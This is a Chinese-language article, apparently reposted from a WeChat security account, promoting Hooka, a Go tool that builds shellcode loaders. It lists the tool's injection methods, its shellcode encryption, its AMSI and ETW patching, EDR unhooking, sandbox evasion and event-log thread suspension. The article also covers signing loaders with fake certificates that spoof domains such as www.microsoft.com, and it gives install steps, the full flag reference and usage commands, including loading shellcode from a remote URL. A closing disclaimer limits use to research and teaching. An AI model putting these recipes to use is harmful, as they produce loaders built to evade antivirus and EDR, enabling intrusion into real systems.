Hooka
介绍
Hooka 能够生成具有多种功能的 shellcode 加载器。它还基于 BokuLoader、Freeze 或 Shhhloader 等其他工具,并尝试实现更多规避功能。为什么在 Golang?虽然它不是恶意软件开发的完美语言,但它非常适合用于测试目的。显然,如果你想要一些专业且万无一失的东西,你应该用 C++、C# 或类似的东西创建自己的加载器。
项目地址:
https://github.com/D3Ext/Hooka.git
如github下载速度慢,可到公众号获取网盘下载
功能
Hooka的强大之处在于其丰富的功能组合,覆盖从注入到规避的全流程需求:
多种注入技术
SuspendedProcess、ProcessHollowing、No-RWX等,满足不同场景需求。
SuspendedProcessProcessHollowingNtCreateThreadExEtwpCreateEtwThreadNtQueueApcThreadExNo-RWX
灵活Shellcode来源
支持本地文件(PE/DLL)、远程URL直接加载,甚至内置calc.exe测试用例。
从原始文件、PE、DLL 或 URL 获取 shellcode支持 EXE 和 DLL 作为输出加载器格式
加密与混淆
AES、3DES、RC4、XOR加密,搭配Shikata Ga Nai编码和Caesar密码混淆字符串。
AES、3DES、RC4、XOR
反检测机制
默认修补AMSI/ETW,支持沙箱检测、用户/主机名验证、ACG内存保护,阻断非微软签名的DLL注入。
AMSI 和 ETW 修补(默认启用)随机变量和函数名称Shikata Ga Nai 混淆检测沙箱的多种方法运行前检查用户名和计算机名称是否匹配启用 ACG Guard 保护阻止非 Microsoft 签名的 DLL 注入到创建的进程中
解钩与隐蔽
支持Perun's Fart、Phant0m等高级技术,挂起日志线程,降低被EDR捕获的风险
ClassicFull DLLPerun's Fart techniquePhant0m 技术挂起 EventLog 线程Windows API 哈希
签名与压缩
可选真实/伪造证书签名,结合UPX压缩减少文件体积,提升隐蔽性。
使用假证书或真实证书对 shellcode 加载程序进行签名通过 Caesar 密码进行字符串混淆使用 Golang compile 和 UPX(如果已安装)压缩代码权重计算 loader 的二进制熵计算 MD5、SHA1 和 SHA256 校验和以跟踪加载程序
快速安装
git clone https://github.com/D3Ext/Hookacd Hookamake
工具参数
Usage of Hooka:
REQUIRED:
-i, --input 字符串有效负载以原始格式注入,如 PE、DLL 或从 URL 注入-o, --output 输出文件的字符串名称(即 loader.exe)-f, --format 要生成的有效负载的字符串格式(可用:exe、dll)(默认 EXE)
EXECUTION:
--proc string 字符串进程,在给定执行技术需要时生成(处于暂停状态)(默认notepad.exe)--exec string 字符串技术用于加载 shellcode(默认为 “SuspendedProcess”): SuspendedProcess ProcessHollowing NtCreateThreadEx EtwpCreateEtwThread NtQueueApcThreadEx No-RWX
AUXILIARY:
-a, --arch string 要生成的 loader 的架构(默认 amd64)-c, --cert string 用于对生成的加载程序进行签名的证书(即 cert.pfx)-d, --domain string 用于对加载程序进行签名的域(即 www.microsoft.com)
ENCODING:
--enc string 使用给定的算法加密 shellcode(可用:AES、3DES、RC4、XOR)(默认无)--sgn 使用 Shikata Ga Nai 对生成的 loader 进行编码(必须安装在 path 上)--strings 使用 Caesar cipher 混淆字符串
EVASION:
--unhook string 解钩技术 (available: full, peruns)--sandbox 启用 Sandbox 规避--no-amsi 不修补 AMSI--no-etw 不要修补 ETW--hashing 使用哈希检索函数指针--user string 仅当运行加载程序的用户是预期用户(即 DESKTOP-E1D6G0Aadmin)时,才继续--computername string 仅当计算机名称为预期名称(即 DESKTOP-E1D6G0A)时才继续--acg 启用 ACG Guard 以防止 AV/EDR 修改现有的可执行代码--blockdlls 防止非 Microsoft 签名的 DLL 注入子进程--phantom 使用 Phant0m 技术挂起 EventLog 线程。需要高权限,否则 loader 会跳过此步骤--sleep 使用自定义 sleep 函数延迟 shellcode 执行
EXTRA:
--calc 使用 calc.exe shellcode 来测试 loader 功能(不提供输入文件)--compress 使用 Golang 编译器和 UPX(如果已安装)压缩生成的加载器-r, --rand 使用一组随机参数创建随机加载器(仅用于测试目的)-v, --verbose 启用 verbose 以打印额外信息-h, --help 打印帮助面板
用法
基础生成
hooka -i shellcode.bin -o loader.exehooka -i http://192.168.1.126/shellcode.bin -o loader.exe
高级配置
使用NtCreateThreadEx注入,启用ACG保护,延迟执行
hooka -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep --acg
隐蔽增强
生成DLL格式,AES加密,伪装微软域名签名
hooka -i shellcode.bin -o loader.dll --domain www.domain.com --enc aes --verbose
生成简单的 EXE 加载程序
$ hooka_linux_amd64 -i shellcode.bin -o loader.exe
生成 DLL 加载程序
$ hooka_linux_amd64 -i shellcode.bin -o loader.dll -f dll
使用自定义配置(各种示例)
$ hooka_linux_amd64 -i shellcode.bin -o loader.exe --hashing --agc --sleep --verbose$ hooka_linux_amd64 -i shellcode.bin -o loader.exe --exec ProcessHollowing --sgn --strings --blockdlls$ hooka_linux_amd64 -i http://xx.xx.xx.xx/shellcode.bin --sandbox --sleep --domain www.microsoft.com --verbose$ hooka_linux_amd64 --calc -o loader.exe --user "DESKTOP-E1D6G0Atom" --computername "DESKTOP-E1D6G0A" --compress –strings
工具示例
原文始发于微信公众号(泷羽Sec-Ceo):Hooka:新一代Shellcode加载器生成工具,多重规避技术助力安全测试
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论